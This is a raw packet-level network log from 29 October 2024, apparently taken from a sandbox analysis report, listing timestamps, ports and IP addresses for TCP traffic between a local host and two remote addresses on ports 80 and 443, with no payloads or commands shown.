Oct 29, 2024 17:59:16.902983904 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903001070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903027058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903027058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903027058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903078079 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903651953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903753042 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903769016 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903778076 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903784037 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.903846025 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.903846025 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.930079937 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.930125952 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.930141926 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.930181980 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.930202007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.962908983 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.962954998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.962970972 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963057995 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963098049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963454008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963509083 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963531017 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963560104 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963603973 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963619947 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963622093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963637114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.963701010 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963701010 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963701963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.963999033 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.964021921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.964054108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.964083910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.003567934 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.003632069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.003649950 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.003662109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.003667116 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.003690958 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.003725052 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019300938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019334078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019352913 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019376040 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019391060 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019433975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019433975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019454002 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019471884 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019490004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.019504070 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019524097 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019537926 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.019972086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020039082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020040989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020092010 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020157099 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020172119 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020188093 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020225048 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020306110 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020535946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020555019 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020590067 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020606041 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020621061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020621061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020622015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.020653009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.020701885 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.038130045 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.038819075 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.038849115 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.039335966 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.039343119 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.047220945 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.047262907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.047278881 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.047338963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.047338963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.080106974 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080132961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080148935 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080210924 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.080260992 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.080756903 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080773115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080816984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080832005 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080832005 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.080848932 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.080861092 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.080926895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.081147909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.081162930 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.081180096 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.081221104 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.081267118 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.120743036 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.120762110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.120819092 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.120853901 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.120867968 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.120901108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.120901108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.120901108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.136526108 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136548042 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136575937 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136594057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136610985 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136626959 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136632919 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.136632919 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.136645079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.136684895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.136684895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.136684895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137478113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137522936 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137537003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137546062 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137563944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137567043 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137579918 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137584925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137641907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137682915 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137685061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137685061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137685061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137741089 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137859106 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137875080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137892008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.137912989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137912989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.137957096 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.138125896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.138170004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.138195992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.138211966 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.138231993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.138231993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.138231993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.138253927 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.164405107 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.164427996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.164452076 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.164482117 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.164483070 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.164509058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.165317059 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.165472031 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.165529966 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.165673971 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.165700912 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.165715933 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.165721893 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.169675112 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.169712067 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.169780016 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.170135021 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.170149088 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.197344065 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197406054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197448015 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197448015 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197602034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197618961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197639942 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197669983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197884083 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197935104 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197949886 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.197983980 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197983980 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.197984934 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.198271990 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198297024 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198312044 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198338985 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.198338985 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.198362112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.198363066 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198383093 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198389053 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.198424101 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.198512077 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.238154888 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.238230944 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.238259077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.238272905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.238298893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.238298893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.238298893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.238334894 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254170895 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254193068 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254224062 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254255056 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254277945 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254293919 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254295111 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254295111 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254331112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254331112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254347086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254364014 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254380941 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254396915 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254427910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254429102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254479885 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254558086 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254844904 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254880905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254897118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254913092 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254929066 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254929066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254929066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254929066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254945993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254962921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.254966021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254966021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.254987001 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.255089045 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.255673885 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.255721092 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.255727053 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.255748034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.255763054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.255773067 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.255781889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.255830050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.276030064 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.276501894 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.276526928 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.276920080 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.276925087 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.281095028 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.281411886 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.281440020 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.281790972 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.281799078 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.281831026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.281851053 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.281867027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.281887054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.281914949 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.314856052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.314893961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315025091 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315051079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315080881 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315138102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315164089 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315179110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315196037 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315213919 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315231085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315241098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315241098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315241098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315248013 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315265894 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315289974 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315289974 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315289974 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315331936 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.315826893 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.315924883 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.316011906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.316011906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.355581045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.355606079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.355624914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.355686903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.355686903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371187925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371212006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371238947 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371257067 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371273041 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371274948 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371274948 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371290922 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371325970 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371335983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371448994 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371462107 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371505976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371505976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371546984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371572018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371587038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371602058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371608973 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.371664047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.371664047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372005939 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372021914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372039080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372114897 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372114897 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372277975 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372292042 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372308016 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372323990 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372344017 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372344017 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372412920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372692108 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372761011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372765064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372822046 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372840881 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372864962 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372879982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.372891903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372909069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.372948885 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.398931026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.398946047 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.399008989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.399024963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.399038076 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.399076939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.399076939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.399076939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.405827045 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.408117056 CET	443	49749	13.107.246.45	192.168.2.6
